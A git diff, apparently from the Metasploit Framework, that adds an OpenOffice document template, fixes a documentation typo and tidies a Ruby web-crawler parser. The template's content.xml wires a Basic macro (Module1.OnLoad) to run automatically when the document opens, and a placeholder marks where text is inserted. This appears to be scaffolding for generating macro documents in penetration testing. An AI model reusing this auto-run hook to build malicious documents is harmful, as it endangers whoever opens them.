||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE library:library PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "library.dtd">
|
||||
<library:library xmlns:library="http://openoffice.org/2000/library" library:name="Standard" library:readonly="false" library:passwordprotected="false">
|
||||
<library:element library:name="Module1"/>
|
||||
</library:library>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE library:libraries PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "libraries.dtd">
|
||||
<library:libraries xmlns:library="http://openoffice.org/2000/library" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<library:library library:name="Standard" library:link="false"/>
|
||||
</library:libraries>
|
||||
@@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
|
||||
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
|
||||
<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
|
||||
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
|
||||
</manifest:manifest>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 728 B |
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:textooo="http://openoffice.org/2013/office" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" office:version="1.2"><office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:Standard.Module1.OnLoad?language=Basic&location=document" xlink:type="simple"/></office:event-listeners></office:scripts><office:font-face-decls><style:font-face style:name="Mangal1" svg:font-family="Mangal"/><style:font-face style:name="Times New Roman" svg:font-family="'Times New Roman'" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Mangal" svg:font-family="Mangal" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles/><office:body>DOCBODYGOESHER<office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/></office:text></office:body></office:document-content>
|
||||
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="styles.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="content.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:textooo="http://openoffice.org/2013/office" office:version="1.2"><office:meta><meta:initial-creator>sinn3r </meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>sinn3r </dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:generator>OpenOffice/4.1.3$Win32 OpenOffice.org_project/413m1$Build-9783</meta:generator><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0"/></office:meta></office:document-meta>
|
||||
@@ -0,0 +1 @@
|
||||
application/vnd.oasis.opendocument.text
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -8,7 +8,7 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
|
||||
```
|
||||
|
||||
Other examples of setting the RHSOTS option:
|
||||
Other examples of setting the RHOSTS option:
|
||||
|
||||
Example 1:
|
||||
|
||||
|
||||
Executable → Regular
+3
-15
@@ -1,17 +1,8 @@
|
||||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
@@ -19,10 +10,7 @@ require 'uri'
|
||||
class CrawlerSimple < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
# doc = Hpricot(result.body.to_s)
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user